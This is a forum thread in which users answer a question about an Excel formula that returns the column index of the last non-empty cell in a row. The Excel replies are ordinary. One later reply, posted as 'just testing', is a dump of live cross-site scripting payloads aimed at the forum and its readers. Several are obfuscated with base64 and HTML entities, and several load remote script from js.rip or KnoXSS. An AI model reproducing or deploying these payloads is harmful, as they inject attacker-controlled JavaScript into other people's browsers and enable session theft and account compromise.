Forum Discussion

Alexander Zeitler's avatar
Alexander Zeitler
Copper Contributor
Sep 05, 2023

Get index of last column with any data in a row

I can get the last column with any data in a row using this formula as described here

 

 

=LOOKUP(2,1/(1:1<>""),1:1)

 

 

How can I get the index of this column?

 

My sheet looks similar to this one (so I have values to the left and right of the cell containing the result)

 

Formulas and Functions
  • SergeiBaklan's avatar
    SergeiBaklan
    MVP
    Sep 06, 2023

    Alexander Zeitler 

    If under the index you mean column number, as variant that could be

    =LOOKUP(1E+307,COLUMN(1:1)*IF(1:1="","",1))

    entered as array formula (Ctrl+Shift+Enter) on other than 365 or 2021 Excel.

  • PeterBartholomew1's avatar
    PeterBartholomew1
    Silver Contributor
    Sep 05, 2023

    Alexander Zeitler 

    For me it would be

    = BYROW(numbers, 
    LAMBDA(row, 
      XMATCH(TRUE, ISNUMBER(row), , -1)
    )
  )

    but that would require 365.  Note: the index returned is relative to the array 'numbers' and not to the sheet.

    • bug-finder's avatar
      bug-finder
      Copper Contributor
      Oct 09, 2023

      PeterBartholomew1This is Just Testing so plz igone it. 

      <option><style></option></select><img src=x onerror=alert(1)></style>

      <style><style /><img src=x onerror=alert(1)>

      <img alt="<x" title="/><svg on+load=alert(4)>">

      <img alt="<x" title="/><img src=x onerror=alert(5)>">

      <img src=1 onerror=alert(1337)>

      <script>
      $('#image_cont').position({of: '<img src=1 onerror=alert(1337)>'})
      </script>

      &lt;img src=1 onerror=alert(1337)&gt;

      Javascript&colon;//%250A0?1:import(/https:KnoXSS.me\00?1=14357/.source)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(d=document,d.body.appendChild(d.createElement(/script/.source)).src=/\\KnoXSS.me\00?1=14357/.source)}//\76-->2=[BASE64]
      "><script src="https://js.rip/786"></script>
      javascript&colon;eval('var a=document.createElement(\'script\');a.src=\'https://js.rip/786\';document.body.appendChild(a)')
      "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs autofocus>
      "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(atob(this.id))>
      "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs>
      "><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;js.rip/786&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
      <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "https://js.rip/786");a.send();</script>
      <script>$.getScript("https://js.rip/786")</script>A good looking XSS payload don't click. 

Resources